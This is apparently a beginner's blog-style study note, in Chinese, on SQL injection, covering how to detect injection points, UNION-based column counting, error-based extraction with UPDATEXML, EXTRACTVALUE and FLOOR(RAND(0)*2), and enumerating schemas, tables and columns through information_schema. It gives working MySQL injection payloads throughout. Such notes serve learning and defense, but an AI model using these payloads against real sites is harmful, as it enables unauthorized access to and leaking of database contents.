SQL注入初步學習

一、什麼是SQL注入
  • 服務器沒有嚴格的校驗客戶端發送的數據,導致將用戶精心構造的數據作爲 SQL 語句執行,從而導致數據庫的內容被修改或泄露。
二、如何探測sql注入點
  1. 用戶的輸入能是否改變顯示的內容,如果能夠改變說明後臺對輸入有處理
    • 例如,傳回的數據有沒有改變、是否存在顯示的內容、以及其它一些不可見的信息
  2. 構建一條絕對出錯的輸入('")(),查看當前頁面的返回內容
    • 如果報錯了,就說明用戶輸入的內容會被作爲sql指令的一部分
  3. 嘗試對SQL指令進行閉合,並且構建出相關的語法,查詢自己需要的內容
    • 閉合實際就是猜測後臺使用的SQL指令
三、如何獲取信息
  1. 通過聯合查詢注入的方式,獲取到想要得到的信息(返回了查詢到的信息)
    • 在進行聯合查詢的時候,兩條查詢語句的列數必須是相同的
      • SELECT * FROM xxx UNION SELECT 1,2,3,...; 直到不報錯
      • SELECT * FROM xxx ORDER BY N; 直到報錯爲止
    • 有時,網頁上只會顯示查詢到的第一條內容,此時在使用聯合查詢的時候,我們是看不到自己構建的查詢語句查詢到的內容的,可以通過將默認的查詢條件設置爲查不到來顯示自己的內容。
      • SELECT * FROM USER WHERE id=-1 UNION SELECT 1,2,3;
    • 並不是所有查詢到的內容都會被顯示出來,我們需要結合頁面利用聯合查詢中的字段
      • SELECT * FROM USER WHERE id=-1 union SELECT 1,version(),database()
  2. 報錯注入方式(必須有報錯信息)
    • updatexml(str, xpath, str): 函數的作用是解析 xpath 語法進行內容的替換
      • xpath 中 ~是絕對報錯的,後續可以拼接自己想要查詢的語句,注意需要加()
      • SELECT UPDATEXML(0, concat('~',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users')), 0)
      • 缺點,只能獲取到最多32字符的數據SELECT UPDATEXML(0, concat('~',(SELECT SUBSTR((SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES), 32, 32))), 0)
    • extractvalue:使用方式和 UPDATEXML 完全一致,但是少了第三個參數
    • 雙注入(8.0不支持):SELECT COUNT(*) FROM TABLE GROUP BY FLOOR(RAND(0)*2);
      • rand()函數的參數一定要寫成0,否則概率性失效
      • floor(rand(0) * 2) 得到的結果必然是 0 或者 1
      • count(*) 配合 group by 會產生虛擬表,就是虛擬表部分出現了問題導致了錯誤
      • 0 是否存在 FLOOR(RAND(0) * 2),不存在
      • 1 創建 FLOOR(RAND(0)*2),1
      • 1 是否存在 FLOOR(RAND(0)*2),存在
      • 0 是否存在 FLOOR(RAND(0)*2),不存在
      • 1 創建 FLOOR(RAND(0)*2),鍵是唯一的,所以報錯(報錯的是鍵名)
四、我們能夠獲取到什麼信息
  • 最基本的信息,例如 version() database() user() 等
  • 通過 information_schema 獲取數據庫中的所有 數據庫名、表名、字段名
    • SCHEMATA: 保存了所有數據庫的信息
    • SELECT * FROM information_schema.SCHEMATA
    • TABLES:保存了數據庫和表的對應關係
    • SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE()
    • COLUMNS: 保存了指定數據庫的表和字段的對應關係
    • SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='USER';
五、一些問題
  • 爲什麼不使用 # 進行注入?
    • 並不是通用的註釋,它只能被用於 mysql 數據庫
    • 直接寫在 URL 中時,表示的是錨點跳轉,使用需要轉義 %23
六、涉及的函數
  • version(): 當前的數據庫版本
  • database(): 當前所使用的數據庫
  • user(): 當前的用戶名和主機名
  • group_concat(): 拼接查詢到的所有結果爲一個字符串
  • concat: 拼接任意個數的字符串
  • substr: 截取指定字符串中的一部分
  • count:用於分組查詢,計算每一組查詢到了多少條內容
  • floor:向下取整函數
  • rand:隨機數函數,返回的是一個0~1的隨機小數
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章